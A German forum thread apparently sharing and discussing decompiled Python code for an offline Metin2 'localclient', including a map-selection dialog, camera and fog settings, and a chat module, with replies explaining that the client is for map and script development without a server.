def MoveLeft(self):
        
player.SetSingleDIKKeyState(app.DIK_LEFTTRUE)

    
    
def MoveRight(self):
        
player.SetSingleDIKKeyState(app.DIK_RIGHTTRUE)

    
    
def StopUp(self):
        
player.SetSingleDIKKeyState(app.DIK_UPFALSE)

    
    
def StopDown(self):
        
player.SetSingleDIKKeyState(app.DIK_DOWNFALSE)

    
    
def StopLeft(self):
        
player.SetSingleDIKKeyState(app.DIK_LEFTFALSE)

    
    
def StopRight(self):
        
player.SetSingleDIKKeyState(app.DIK_RIGHTFALSE)

    
    
def OnKeyDown(selfkey):
        
        try:
            
self.onPressKeyDict[key]()
        
except KeyError:
            
pass
        except
:
            
raise 

        
return TRUE

    
    def OnKeyUp
(selfkey):
        
        try:
            
self.onClickKeyDict[key]()
        
except KeyError:
            
pass
        except
:
            
raise 

        
return TRUE

    
    def OnMouseLeftButtonDown
(self):
        if 
self.wndGuildBuilding:
            if 
self.wndGuildBuilding.IsPositioningMode():
                
self.wndGuildBuilding.SettleCurrentPosition()
                return 
None
            
        
        player
.SetMouseState(player.MBT_LEFTplayer.MBS_PRESS)
        return 
TRUE

    
    def OnMouseLeftButtonUp
(self):
        if 
self.wndGuildBuilding:
            return 
None
        
        player
.SetMouseState(player.MBT_LEFTplayer.MBS_CLICK)
        return 
TRUE

    
    def OnMouseRightButtonDown
(self):
        
player.SetMouseState(player.MBT_RIGHTplayer.MBS_PRESS)
        return 
TRUE

    
    def OnMouseRightButtonUp
(self):
        
player.SetMouseState(player.MBT_RIGHTplayer.MBS_CLICK)
        return 
TRUE

    
    def OnMouseMiddleButtonDown
(self):
        
player.SetMouseMiddleButtonState(player.MBS_PRESS)

    
    
def OnMouseMiddleButtonUp(self):
        
player.SetMouseMiddleButtonState(player.MBS_CLICK)

    
    
def OnUpdate(self):
        
app.UpdateGame()
        if 
self.wndGuildBuilding:
            if 
self.wndGuildBuilding.IsPositioningMode():
                (
xyz) = background.GetPickingPoint()
                
self.wndGuildBuilding.SetBuildingPosition(xyz)
            
        
        
chrmgr.SetMovingSpeed(self.camspeed)
        
app.SetCameraMaxDistance(self.cammaxdistance)
        if 
self.cammaxdistance == 1:
            
app.SetMinFog(100)
        
elif self.cammaxdistance >= 1000:
            
app.SetMinFog(3600)
        
elif self.cammaxdistance >= 5000:
            
app.SetMinFog(12000)
        
elif self.cammaxdistance >= 10000:
            
app.SetMinFog(24000)
        
elif self.cammaxdistance >= 15000:
            
app.SetMinFog(48000)
        
elif self.cammaxdistance >= 20000:
            
app.SetMinFog(96000)
        
        if 
self.cammaxdistance == 1:
            
app.SetMinFog(100)
        
elif self.cammaxdistance 1000:
            
app.SetMinFog(1200)
        
elif self.cammaxdistance 5000:
            
app.SetMinFog(9600)
        
elif self.cammaxdistance 10000:
            
app.SetMinFog(12000)
        
elif self.cammaxdistance 15000:
            
app.SetMinFog(24000)
        
elif self.cammaxdistance 20000:
            
app.SetMinFog(48000)
        
        if 
self.fogonoff == 1:
            
app.SetMinFog(1000000000)
        

    
    
def UpdateDebugInfo(self):
        (
xyz) = player.GetMainCharacterPosition()
        
nUpdateTime app.GetUpdateTime()
        
nUpdateFPS app.GetUpdateFPS()
        
nRenderFPS app.GetRenderFPS()
        
nFaceCount app.GetFaceCount()
        
fFaceSpeed app.GetFaceSpeed()
        
nST background.GetRenderShadowTime()
        (
fAveRTnCurRT) = app.GetRenderTime()
        (
iNumfFogStartfFogEndfFarCilp) = background.GetDistanceSetInfo()
        (
iPatchiSplatfSplatRatiosTextureNum) = background.GetRenderedSplatNum()
        if 
iPatch == 0:
            
iPatch 1
        
        self
.PrintCoord.SetText('Coordinate: %.2f %.2f %.2f ATM: %d' % (xyz, (app.GetAvailableTextureMemory() / 1024) * 1024))
        
self.FrameRate.SetText('UFPS: %3d UT: %3d FS %.2f' % (nUpdateFPSnUpdateTimefFaceSpeed))
        if 
fAveRT 1.0:
            
self.Pitch.SetText('RFPS: %3d RT:%.2f(%3d) FC: %d(%.2f) ' % (nRenderFPSfAveRTnCurRTnFaceCountnFaceCount fAveRT))
        
        
self.Splat.SetText('PATCH: %d SPLAT: %d BAD(%.2f)' % (iPatchiSplatfSplatRatio))
        
self.ViewDistance.SetText('Num : %d, FS : %f, FE : %f, FC : %f' % (iNumfFogStartfFogEndfFarCilp))

    
    
def OnRender(self):
        
app.RenderGame()
        (
xy) = app.GetCursorPosition()
        
grp.PopState()
        
grp.SetInterfaceRenderState()

    
    
def OnPressEscapeKey(self):
        
app.Exit()

    
    
def _LocaleWindow__PlayMusic(selfflagfilename):
        
flag int(flag)
        if 
flag:
            
snd.FadeOutAllMusic()
            
musicInfo.SaveLastPlayFieldMusic()
            
snd.FadeInMusic('BGM/' filename)
        else:
            
snd.FadeOutAllMusic()
            
musicInfo.LoadLastPlayFieldMusic()
            
snd.FadeInMusic('BGM/' musicInfo.fieldMusic)



class 
MapSelectDialog(ui.Window):
    
    
def __init__(self):
        
ui.Window.__init__(self)
        
self.isLoaded 0
        self
.selectEvent None
        self
.fileListBox None
        self
.Board ui.BoardWithTitleBar()
        
self.Board.SetSize(240345)
        
self.Board.SetCenterPosition()
        
self.Board.AddFlag('movable')
        
self.Board.AddFlag('float')
        
self.Board.SetTitleName('Maplist')
        
self.Board.SetCloseEvent(self.Close)
        
self.Board.Show()

    
    
def __del__(self):
        
ui.Window.__del__(self)

    
    
def Show(self):
        if 
self.isLoaded == 0:
            
self.isLoaded 1
            self
._MapSelectDialog__Load()
        
        
ui.Window.Show(self)

    
    
def Open(self):
        
self.Show()
        
self.SetCenterPosition()
        
self.SetTop()
        
self.UpdateFileList()

    
    
def Close(self):
        
self.Board.Hide()
        
self.XCoordinateValue.KillFocus()
        
self.YCoordinateValue.KillFocus()
        
self.XCoordinateValue.Hide()
        
self.YCoordinateValue.Hide()

    
    
def _MapSelectDialog__CreateFileListBox(self):
        
fileListBox ui.ListBoxEx()
        
fileListBox.SetParent(self.Board)
        
fileListBox.SetSelectEvent(self.UpdateMapInfo)
        
fileListBox.SetPosition(1550)
        
fileListBox.Show()
        return 
fileListBox

    
    def _MapSelectDialog__Load
(self):
        
self._MapSelectDialog__Load_BindObject()
        
self.UpdateFileList()

    
    
def _MapSelectDialog__Load_BindObject(self):
        
self.fileListBox self._MapSelectDialog__CreateFileListBox()
        
self.LoadFuckingScrollBar()
        
self.LoadTextLines()
        
self.fileListBox.SetScrollBar(self.ScrollBar)
        
self.SelectMap ui.Button()
        
self.SelectMap.SetParent(self.Board)
        
self.SelectMap.SetPosition(55295)
        
self.SelectMap.SetUpVisual('d:/ymir work/ui/public/Middle_Button_01.sub')
        
self.SelectMap.SetOverVisual('d:/ymir work/ui/public/Middle_Button_02.sub')
        
self.SelectMap.SetDownVisual('d:/ymir work/ui/public/Middle_Button_03.sub')
        
self.SelectMap.SetText('OK')
        
self.SelectMap.SetEvent(ui.__mem_func__(self.LoadMap))
        
self.SelectMap.Show()
        
self.CancelBonus ui.Button()
        
self.CancelBonus.SetParent(self.Board)
        
self.CancelBonus.SetPosition(125295)
        
self.CancelBonus.SetUpVisual('d:/ymir work/ui/public/Middle_Button_01.sub')
        
self.CancelBonus.SetOverVisual('d:/ymir work/ui/public/Middle_Button_02.sub')
        
self.CancelBonus.SetDownVisual('d:/ymir work/ui/public/Middle_Button_03.sub')
        
self.CancelBonus.SetText('Abbrechen')
        
self.CancelBonus.SetEvent(ui.__mem_func__(self.Close))
        
self.CancelBonus.Show()
        
self.XCoordinateSlotBar ui.SlotBar()
        
self.XCoordinateSlotBar.SetParent(self.Board)
        
self.XCoordinateSlotBar.SetSize(8518)
        
self.XCoordinateSlotBar.SetPosition(15270)
        
self.XCoordinateSlotBar.Show()
        
self.XCoordinateValue ui.EditLine()
        
self.XCoordinateValue.SetParent(self.XCoordinateSlotBar)
        
self.XCoordinateValue.SetSize(6017)
        
self.XCoordinateValue.SetPosition(52)
        
self.XCoordinateValue.SetMax(4)
        
self.XCoordinateValue.SetText('0')
        
self.XCoordinateValue.SetNumberMode()
        
self.XCoordinateValue.Show()
        
self.YCoordinateSlotBar ui.SlotBar()
        
self.YCoordinateSlotBar.SetParent(self.Board)
        
self.YCoordinateSlotBar.SetSize(8518)
        
self.YCoordinateSlotBar.SetPosition(110270)
        
self.YCoordinateSlotBar.Show()
        
self.YCoordinateValue ui.EditLine()
        
self.YCoordinateValue.SetParent(self.YCoordinateSlotBar)
        
self.YCoordinateValue.SetSize(6017)
        
self.YCoordinateValue.SetPosition(52)
        
self.YCoordinateValue.SetMax(4)
        
self.YCoordinateValue.SetText('0')
        
self.YCoordinateValue.SetNumberMode()
        
self.YCoordinateValue.Show()

    
    
def LoadTextLines(self):
        
self.Headline ui.TextLine()
        
self.Headline.SetParent(self.Board)
        
self.Headline.SetDefaultFontName()
        
self.Headline.SetPosition(8029)
        
self.Headline.SetFeather()
        
self.Headline.SetText('W\xe4hle deine Map:')
        
self.Headline.SetFontColor(0.200000000000000010.200000000000000011.0)
        
self.Headline.SetOutline()
        
self.Headline.Show()
        
self.XKoordinate ui.TextLine()
        
self.XKoordinate.SetParent(self.Board)
        
self.XKoordinate.SetDefaultFontName()
        
self.XKoordinate.SetPosition(15250)
        
self.XKoordinate.SetFeather()
        
self.XKoordinate.SetText('X Koordinate:')
        
self.XKoordinate.SetFontColor(0.599999999999999980.699999999999999961)
        
self.XKoordinate.SetOutline()
        
self.XKoordinate.Show()
        
self.YKoordinate ui.TextLine()
        
self.YKoordinate.SetParent(self.Board)
        
self.YKoordinate.SetDefaultFontName()
        
self.YKoordinate.SetPosition(110250)
        
self.YKoordinate.SetFeather()
        
self.YKoordinate.SetText('Y Koordinate:')
        
self.YKoordinate.SetFontColor(0.599999999999999980.699999999999999961)
        
self.YKoordinate.SetOutline()
        
self.YKoordinate.Show()
        
self.Copyline ui.TextLine()
        
self.Copyline.SetParent(self.Board)
        
self.Copyline.SetDefaultFontName()
        
self.Copyline.SetPosition(120320)
        
self.Copyline.SetFeather()
        
self.Copyline.SetText('Thanks to RealFreak :>')
        
self.Copyline.SetFontColor(0.50.200000000000000010.5)
        
self.Copyline.SetOutline()
        
self.Copyline.Show()

    
    
def LoadFuckingScrollBar(self):
        
self.ScrollBar ui.ScrollBar()
        
self.ScrollBar.SetParent(self.Board)
        
self.ScrollBar.SetPosition(21040)
        
self.ScrollBar.SetScrollBarSize(220)
        
self.ScrollBar.Show()

    
    
def UpdateMapInfo(selfname):
        
SelectedIndex self.fileListBox.GetSelectedItem()
        
SelectedIndex SelectedIndex.GetText()
        
lines pack_open('atlasinfo.txt''r').readlines()
        for 
line in lines:
            
tokens line[:-1].split('\t')
            if 
str(SelectedIndex) == str(tokens[0]):
                
XKoordinate int(int(tokens[3]) * 25500 2) / 100
                YKoordinate 
int(int(tokens[4]) * 25500 2) / 100
                self
.XCoordinateValue.SetText(str(XKoordinate))
                
self.YCoordinateValue.SetText(str(YKoordinate))
            

    
    
def UpdateFileList(self):
        
self._MapSelectDialog__RefreshFileList()
        
        try:
            
lines pack_open('atlasinfo.txt''r').readlines()
        
except IOError:
            
import dbg
            dbg
.LogBox('Load Atlasinfo Error')
            
app.Abort()

        for 
line in lines:
            
tokens line[:-1].split('\t')
            if 
len(tokens) == or not tokens[0]:
                continue
            
            
mapname str(tokens[0])
            if 
mapname:
                
self.fileListBox.AppendItem(Item(mapname))
            

    
    
def _MapSelectDialog__RefreshFileList(self):
        
self.fileListBox.RemoveAllItems()

    
    
def LoadMap(self):
        
import background
        SelectedIndex 
self.fileListBox.GetSelectedItem()
        
SelectedIndex SelectedIndex.GetText()
        
XKoordinate int(self.XCoordinateValue.GetText()) * 100
        YKoordinate 
int(self.YCoordinateValue.GetText()) * 100
        background
.LoadMap(str(SelectedIndex), XKoordinateYKoordinate0)
        
chr.SetPixelPosition(int(XKoordinate), int(YKoordinate))


FILE_NAME_LEN 40

class Item(ui.ListBoxEx.Item):
    
    
def __init__(selffileName):
        
ui.ListBoxEx.Item.__init__(self)
        
self.canLoad 0
        self
.text fileName
        self
.textLine self._Item__CreateTextLine(fileName[:FILE_NAME_LEN])

    
    
def __del__(self):
        
ui.ListBoxEx.Item.__del__(self)

    
    
def GetText(self):
        return 
self.text

    
    def SetSize
(selfwidthheight):
        
ui.ListBoxEx.Item.SetSize(selflen(self.textLine.GetText()) + 4height)

    
    
def _Item__CreateTextLine(selffileName):
        
textLine ui.TextLine()
        
textLine.SetParent(self)
        
textLine.SetPosition(00)
        
textLine.SetText(fileName)
        
textLine.Show()
        return 
textLine 
*~*TeacheR*~* is offline  
Thanks
1 User
Old 02/20/2015, 13:13   #7
 
Alergix2's Avatar
 
elite*gold: 103
Join Date: Aug 2014
Posts: 1,425
Received Thanks: 315
Danke sehr geil *_*
Alergix2 is offline  
Thanks
1 User
Old 02/20/2015, 14:46   #8


 
MrTherzon's Avatar
 
elite*gold: 170
The Black Market: 179/0/1
Join Date: Dec 2012
Posts: 9,372
Received Thanks: 2,726
Jooo Kori Ich lieb dich auch, aber okay :S

Danke dafür.
MrTherzon is offline  
Thanks
1 User
Old 02/20/2015, 15:38   #9

 
passy305's Avatar
 
elite*gold: 23
Join Date: Oct 2007
Posts: 1,462
Received Thanks: 1,967
Sofern du nicht vor hast eine Online Funktion einzufügen,
wäre die chat und username Funktionalität relativ überflüssig.

Ansonsten schön zu sehen das noch jemand Interesse an sowas hat
passy305 is offline  
Thanks
1 User
Old 02/20/2015, 16:00   #10
 
DasSchwarzeT's Avatar
 
elite*gold: 399
Join Date: Sep 2011
Posts: 5,323
Received Thanks: 3,938
Quote:
Originally Posted by passy305 View Post
Sofern du nicht vor hast eine Online Funktion einzufügen,
wäre die chat und username Funktionalität relativ überflüssig.

Ansonsten schön zu sehen das noch jemand Interesse an sowas hat
Problem ist, dass kaum jemand mit soetwas was anzufangen weiß. In Zeiten des Worldeditors und GUI Creator ist das ganze nicht mehr so innovativ wie "damals". Naja, wenn wir uns aufraffen können kommt unser (poccix, Yiv und meiner) Localclient, der eigentlich seit dem 24.12.14 public sein sollte, auch noch irgendwann. Da gibts dann Sachen wie eine Onlinefunktion und einen Chat
DasSchwarzeT is offline  
Old 02/20/2015, 16:45   #11
 
elite*gold: 2785
Join Date: Dec 2014
Posts: 403
Received Thanks: 1,354
Quote:
Originally Posted by passy305 View Post
Sofern du nicht vor hast eine Online Funktion einzufügen,
wäre die chat und username Funktionalität relativ überflüssig.

Ansonsten schön zu sehen das noch jemand Interesse an sowas hat
Sobald ich eine wirklich funktionstüchtige urllib finde für den 40k client finde dann werde ich dann auch wieder eine Online Funktion hinzufügen und dann auch für Patches nutzen.



Quote:
Originally Posted by Noo'DasSchwarzeT View Post
Problem ist, dass kaum jemand mit soetwas was anzufangen weiß. In Zeiten des Worldeditors und GUI Creator ist das ganze nicht mehr so innovativ wie "damals". Naja, wenn wir uns aufraffen können kommt unser (poccix, Yiv und meiner) Localclient, der eigentlich seit dem 24.12.14 public sein sollte, auch noch irgendwann. Da gibts dann Sachen wie eine Onlinefunktion und einen Chat
Villeicht hilft es auch paar leuten um etwas in Python rein zu kommen o.Ä

Ich persönlich finde es wirklich praktisch, da man keinen Server o.Ä braucht um in das spiel zu kommen sondern gleich los legen kann ( ist ansichtssache, dem einen gefällt es dem anderen nicht )


Für Ideen bin ich immer Offen auch von dir SchwarzesT meldest dich ja auch nicht mehr
.K0rí is offline  
Old 02/20/2015, 17:01   #12
 
elite*gold: 1
Join Date: Apr 2012
Posts: 333
Received Thanks: 74
ehm was bringt dieses release ? kann mir das mal einer erklären ich peil es nicht
deutschenstyle is offline  
Old 02/20/2015, 20:03   #13
wild wild son




 
Nick's Avatar
 
elite*gold: 0
Join Date: Feb 2011
Posts: 5,829
Received Thanks: 3,369
Quote:
Originally Posted by deutschenstyle View Post
ehm was bringt dieses release ? kann mir das mal einer erklären ich peil es nicht
Localclient ist in erster Linie so zu verstehen, dass kein externer Server erforderlich ist, da hier keinerlei Verbindung zu einem (Game-)Server aufgebaut wird, demnach werden auch bspw. keine Statistiken in einer Datenbank gespeichert. Das Ganze dient hauptsächlich zur (Weiter-)Entwicklung von Maps, Scripts o.Ä. - darf man auch als Offline-Client bezeichnen. Serverseitige Features wie Quests funktionieren damit zwar nicht, solltest du jedoch aktuell über keinen Server verfügen, stellt ein Localclient eine angenehme Alternative dar.

lg
Nick is offline  
Thanks
1 User
Old 02/23/2015, 13:35   #14
 
elite*gold: 2785
Join Date: Dec 2014
Posts: 403
Received Thanks: 1,354
#Update im Fistpost

Wenn ihr Ideen habt bitte schreibt es damit ich es hinzufügen kann sofern möglich


Mit freundlichen Grüßen
.Kori
.K0rí is offline  
Old 02/23/2015, 16:39   #15
 
elite*gold: 0
Join Date: Jan 2015
Posts: 110
Received Thanks: 178
Unpacked Pyc
PHP Code:
uiChat.py 
PHP Code:
import ui
import grp
import chat
import wndMgr
import net
import app
import ime
import locale 
as localeInfo
import colorInfo
import constInfo
import chr
import systemSetting
ENABLE_CHAT_COMMAND 
TRUE
ENABLE_LAST_SENTENCE_STACK 
TRUE
ENABLE_INSULT_CHECK 
TRUE
chatInputSetList 
= []

def InsertChatInputSetWindow(wnd):
    
chatInputSetList.append(wnd)


def RefreshChatMode():
    
map(lambda wndwnd.OnRefreshChatMode(), chatInputSetList)


def DestroyChatInputSetWindow():
    global 
chatInputSetList
    chatInputSetList 
= []


class 
ChatModeButton(ui.Window):
    
OUTLINE_COLOR grp.GenerateColor(1.01.01.01.0)
    
OVER_COLOR grp.GenerateColor(1.01.01.00.29999999999999999)
    
BUTTON_STATE_UP 0
    BUTTON_STATE_OVER 
1
    BUTTON_STATE_DOWN 
2
    
    def __init__
(self):
        
ui.Window.__init__(self)
        
self.state None
        self
.buttonText None
        self
.event None
        net
.EnableChatInsultFilter(ENABLE_INSULT_CHECK)

    
    
def __del__(self):
        
ui.Window.__del__(self)

    
    
def SAFE_SetEvent(selfevent):
        
self.event ui.__mem_func__(event)

    
    
def SetText(selftext):
        if 
None == self.buttonText:
            
textLine ui.TextLine()
            
textLine.SetParent(self)
            
textLine.SetWindowHorizontalAlignCenter()
            
textLine.SetWindowVerticalAlignCenter()
            
textLine.SetVerticalAlignCenter()
            
textLine.SetHorizontalAlignCenter()
            
textLine.SetPackedFontColor(self.OUTLINE_COLOR)
            
textLine.Show()
            
self.buttonText textLine
        
        self
.buttonText.SetText(text)

    
    
def SetSize(selfwidthheight):
        
self.width width
        self
.height height
        ui
.Window.SetSize(selfwidthheight)

    
    
def OnMouseOverIn(self):
        
self.state self.BUTTON_STATE_OVER

    
    def OnMouseOverOut
(self):
        
self.state self.BUTTON_STATE_UP

    
    def OnMouseLeftButtonDown
(self):
        
self.state self.BUTTON_STATE_DOWN

    
    def OnMouseLeftButtonUp
(self):
        
self.state self.BUTTON_STATE_UP
        
if self.IsIn():
            
self.state self.BUTTON_STATE_OVER
        
        
if None != self.event:
            
self.event()
        

    
    
def OnRender(self):
        (
xy) = self.GetGlobalPosition()
        
grp.SetColor(self.OUTLINE_COLOR)
        
grp.RenderRoundBox(xyself.widthself.height)
        if 
self.state >= self.BUTTON_STATE_OVER:
            
grp.RenderRoundBox(1yself.width 2self.height)
            
grp.RenderRoundBox(x1self.widthself.height 2)
            if 
self.BUTTON_STATE_DOWN == self.state:
                
grp.SetColor(self.OVER_COLOR)
                
grp.RenderBar(11self.width 2self.height 2)
            
        



class 
ChatLine(ui.EditLine):
    
CHAT_MODE_NAME = {
        
chat.CHAT_TYPE_TALKINGlocaleInfo.CHAT_NORMAL,
        
chat.CHAT_TYPE_PARTYlocaleInfo.CHAT_PARTY,
        
chat.CHAT_TYPE_GUILDlocaleInfo.CHAT_GUILD,
        
chat.CHAT_TYPE_SHOUTlocaleInfo.CHAT_SHOUT }
    
    
def __init__(self):
        
ui.EditLine.__init__(self)
        
self.SetWindowName('Chat Line')
        
self.lastShoutTime 0
        
        def self
.eventEscape(*arg):
            return 
None

        
        def self
.eventReturn(*arg):
            return 
None

        self
.eventTab None
        self
.chatMode chat.CHAT_TYPE_TALKING
        self
.bCodePage TRUE
        self
.playershstatus 0
        self
.egopersp 0
        self
.overTextLine ui.TextLine()
        
self.overTextLine.SetParent(self)
        
self.overTextLine.SetPosition(-10)
        
self.overTextLine.SetFontColor(1.01.00.0)
        
self.overTextLine.SetOutline()
        
self.overTextLine.Hide()
        
self.lastSentenceStack = []
        
self.lastSentencePos 0

    
    def SetChatMode
(selfmode):
        
self.chatMode mode

    
    def GetChatMode
(self):
        return 
self.chatMode

    
    def ChangeChatMode
(self):
        if 
chat.CHAT_TYPE_TALKING == self.GetChatMode():
            
self.SetChatMode(chat.CHAT_TYPE_PARTY)
            
self.SetText('#')
            
self.SetEndPosition()
        
elif chat.CHAT_TYPE_PARTY == self.GetChatMode():
            
self.SetChatMode(chat.CHAT_TYPE_GUILD)
            
self.SetText('%')
            
self.SetEndPosition()
        
elif chat.CHAT_TYPE_GUILD == self.GetChatMode():
            
self.SetChatMode(chat.CHAT_TYPE_SHOUT)
            
self.SetText('!')
            
self.SetEndPosition()
        
elif chat.CHAT_TYPE_SHOUT == self.GetChatMode():
            
self.SetChatMode(chat.CHAT_TYPE_TALKING)
            
self.SetText('')
        
        
self._ChatLine__CheckChatMark()

    
    
def GetCurrentChatModeName(self):
        
        try:
            return 
self.CHAT_MODE_NAME[self.chatMode]
        
except:
            
import exception
            exception
.Abort('ChatLine.GetCurrentChatModeName')


    
    
def SAFE_SetEscapeEvent(selfevent):
        
self.eventReturn ui.__mem_func__(event)

    
    
def SAFE_SetReturnEvent(selfevent):
        
self.eventEscape ui.__mem_func__(event)

    
    
def SAFE_SetTabEvent(selfevent):
        
self.eventTab ui.__mem_func__(event)

    
    
def SetTabEvent(selfevent):
        
self.eventTab event

    
    def OpenChat
(self):
        
self.SetFocus()
        
self._ChatLine__ResetChat()

    
    
def _ChatLine__ClearChat(self):
        
self.SetText('')
        
self.lastSentencePos 0

    
    def _ChatLine__ResetChat
(self):
        if 
chat.CHAT_TYPE_PARTY == self.GetChatMode():
            
self.SetText('#')
            
self.SetEndPosition()
        
elif chat.CHAT_TYPE_GUILD == self.GetChatMode():
            
self.SetText('%')
            
self.SetEndPosition()
        
elif chat.CHAT_TYPE_SHOUT == self.GetChatMode():
            
self.SetText('!')
            
self.SetEndPosition()
        else:
            
self._ChatLine__ClearChat()
        
self._ChatLine__CheckChatMark()

    
    
def _ChatLine__SendChatPacket(selftexttype):
        if 
net.IsChatInsultIn(text):
            
chat.AppendChat(chat.CHAT_TYPE_INFOlocaleInfo.CHAT_INSULT_STRING)
        
        
open('imv/username.ini''r')
        
Username f.read()
        
f.close()
        
self.Version 'DEV'
        
if Username.find(' '):
            
Username Username.replace(' ''6758XN8576')
        
        if 
text.find('/in') != -1:
            if 
self.playershstatus == 0:
                if 
self.egopersp == 0:
                    
chr.Show()
                else:
                    
chr.Hide()
                
app.ShowCursor()
                
self.playershstatus 1
            
else:
                
chr.Hide()
                
app.HideCursor()
                
self.playershstatus 0
        elif text
.find('/exit') != -1:
            
app.Exit()
        else:
            
chat.AppendChat(chat.CHAT_TYPE_PARTYUsername ': ' text)

    
    
def _ChatLine__SendTalkingChatPacket(selftext):
        
self._ChatLine__SendChatPacket(textchat.CHAT_TYPE_TALKING)
        
self._ChatLine__ResetChat()

    
    
def OnIMETab(self):
        return 
FALSE

    
    def OnIMEUpdate
(self):
        
ui.EditLine.OnIMEUpdate(self)
        
self._ChatLine__CheckChatMark()

    
    
def _ChatLine__CheckChatMark(self):
        
self.overTextLine.Hide()
        
text self.GetText()
        if 
len(text) > 0:
            if 
'#' == text[0]:
                
self.overTextLine.SetText('#')
                
self.overTextLine.Show()
            
elif '%' == text[0]:
                
self.overTextLine.SetText('%')
                
self.overTextLine.Show()
            
elif '!' == text[0]:
                
self.overTextLine.SetText('!')
                
self.overTextLine.Show()
            
        

    
    
def OnIMEKeyDown(selfkey):
        if 
app.VK_UP == key:
            
self._ChatLine__PrevLastSentenceStack()
            return 
TRUE
        
        
if app.VK_DOWN == key:
            
self._ChatLine__NextLastSentenceStack()
            return 
TRUE
        
        ui
.EditLine.OnIMEKeyDown(selfkey)

    
    
def _ChatLine__PrevLastSentenceStack(self):
        if 
not ENABLE_LAST_SENTENCE_STACK:
            return 
None
        
        
if self.lastSentenceStack and self.lastSentencePos len(self.lastSentenceStack):
            
self.lastSentencePos += 1
            lastSentence 
self.lastSentenceStack[-(self.lastSentencePos)]
            
self.SetText(lastSentence)
            
self.SetEndPosition()
        

    
    
def _ChatLine__NextLastSentenceStack(self):
        if 
not ENABLE_LAST_SENTENCE_STACK:
            return 
None
        
        
if self.lastSentenceStack and self.lastSentencePos 1:
            
self.lastSentencePos -= 1
            lastSentence 
self.lastSentenceStack[-(self.lastSentencePos)]
            
self.SetText(lastSentence)
            
self.SetEndPosition()
        

    
    
def _ChatLine__PushLastSentenceStack(selftext):
        if 
not ENABLE_LAST_SENTENCE_STACK:
            return 
None
        
        
if len(text) <= 0:
            return 
None
        
        LAST_SENTENCE_STACK_SIZE 
32
        
if len(self.lastSentenceStack) > LAST_SENTENCE_STACK_SIZE:
            
self.lastSentenceStack.pop(0)
        
        
self.lastSentenceStack.append(text)

    
    
def OnIMEReturn(self):
        
text self.GetText()
        
textLen len(text)
        
self._ChatLine__PushLastSentenceStack(text)
        
textSpaceCount text.count(' ')
        if 
textLen and textLen != textSpaceCount:
            
self._ChatLine__SendTalkingChatPacket(text)
        else:
            
self._ChatLine__ClearChat()
            
self.eventReturn()
        return 
TRUE

    
    def OnPressEscapeKey
(self):
        
self._ChatLine__ClearChat()
        
self.eventEscape()
        return 
TRUE

    
    def RunCloseEvent
(self):
        
self.eventEscape()

    
    
def BindInterface(self, interface):
        
self.interface = interface

    
    
def OnMouseLeftButtonDown(self):
        
hyperlink ui.GetHyperlink()
        if 
hyperlink:
            if 
app.IsPressed(app.DIK_LALT):
                
link chat.GetLinkFromHyperlink(hyperlink)
                
ime.PasteString(link)
            else:
                
self.interface.MakeHyperlinkTooltip(hyperlink)
        else:
            
ui.EditLine.OnMouseLeftButtonDown(self)



class 
ChatInputSet(ui.Window):
    
CHAT_OUTLINE_COLOR grp.GenerateColor(1.01.01.01.0)
    
    
def __init__(self):
        
ui.Window.__init__(self)
        
InsertChatInputSetWindow(self)
        
self._ChatInputSet__Create()

    
    
def __del__(self):
        
ui.Window.__del__(self)

    
    
def _ChatInputSet__Create(self):
        
chatModeButton ChatModeButton()
        
chatModeButton.SetParent(self)
        
chatModeButton.SetSize(5017)
        
chatModeButton.SetText('DEVChat')
        
chatModeButton.SetPosition(72)
        
self.chatModeButton chatModeButton
        chatLine 
ChatLine()
        
chatLine.SetParent(self)
        
chatLine.SetMax(512)
        
chatLine.SetUserMax(76)
        
chatLine.SetText('')
        
chatLine.0
        chatLine
.0
        chatLine
.width 0
        chatLine
.height 0
        self
.chatLine chatLine
        btnSend 
ui.Button()
        
btnSend.SetParent(self)
        
btnSend.SetUpVisual('d:/ymir work/ui/game/taskbar/Send_Chat_Button_01.sub')
        
btnSend.SetOverVisual('d:/ymir work/ui/game/taskbar/Send_Chat_Button_02.sub')
        
btnSend.SetDownVisual('d:/ymir work/ui/game/taskbar/Send_Chat_Button_03.sub')
        
btnSend.SetToolTipText(localeInfo.CHAT_SEND_CHAT)
        
btnSend.SAFE_SetEvent(self.chatLine.OnIMEReturn)
        
self.btnSend btnSend

    
    def Destroy
(self):
        
self.chatModeButton None
        self
.chatLine None
        self
.btnSend None

    
    def Open
(self):
        
self.chatLine.Show()
        
self.chatLine.SetPosition(675)
        
self.chatLine.SetFocus()
        
self.chatLine.OpenChat()
        
self.chatModeButton.SetPosition(72)
        
self.chatModeButton.Show()
        
self.btnSend.Show()
        
self.Show()
        
self.RefreshPosition()
        return 
TRUE

    
    def Close
(self):
        
self.chatLine.KillFocus()
        
self.chatLine.Hide()
        
self.chatModeButton.Hide()
        
self.btnSend.Hide()
        
self.Hide()
        return 
TRUE

    
    def SetEscapeEvent
(selfevent):
        
self.chatLine.SetEscapeEvent(event)

    
    
def SetReturnEvent(selfevent):
        
self.chatLine.SetReturnEvent(event)

    
    
def OnRefreshChatMode(self):
        
self.chatLine.ChangeChatMode()
        
self.chatModeButton.SetText(self.chatLine.GetCurrentChatModeName())

    
    
def SetChatFocus(self):
        
self.chatLine.SetFocus()

    
    
def KillChatFocus(self):
        
self.chatLine.KillFocus()

    
    
def SetChatMax(selfmax):
        
self.chatLine.SetUserMax(max)

    
    
def RefreshPosition(self):
        if 
localeInfo.IsARABIC():
            
self.chatLine.SetSize(self.GetWidth() - 9318)
        else:
            
self.chatLine.SetSize(self.GetWidth() - 7313)
        
self.btnSend.SetPosition(self.GetWidth() + 102)
        (
self.chatLine.xself.chatLine.yself.chatLine.widthself.chatLine.height) = self.chatLine.GetRect()

    
    
def BindInterface(self, interface):
        
self.chatLine.BindInterface(interface)

    
    
def OnRender(self):
        (
xywidthheight) = self.chatLine.GetRect()
        
ui.RenderRoundBox(43width 7height 4self.CHAT_OUTLINE_COLOR)



class 
ChatWindow(ui.Window):
    
BOARD_START_COLOR grp.GenerateColor(0.00.00.00.0)
    
BOARD_END_COLOR grp.GenerateColor(0.00.00.00.80000000000000004)
    
BOARD_MIDDLE_COLOR grp.GenerateColor(0.00.00.00.5)
    
CHAT_OUTLINE_COLOR grp.GenerateColor(1.01.01.01.0)
    
EDIT_LINE_HEIGHT 25
    
    
class ChatBackBoard(ui.Window):
        
        
def __init__(self):
            
ui.Window.__init__(self)

        
        
def __del__(self):
            
ui.Window.__del__(self)


    
    class 
ChatButton(ui.DragButton):
        
        
def __init__(self):
            
ui.DragButton.__init__(self)
            
self.AddFlag('float')
            
self.AddFlag('movable')
            
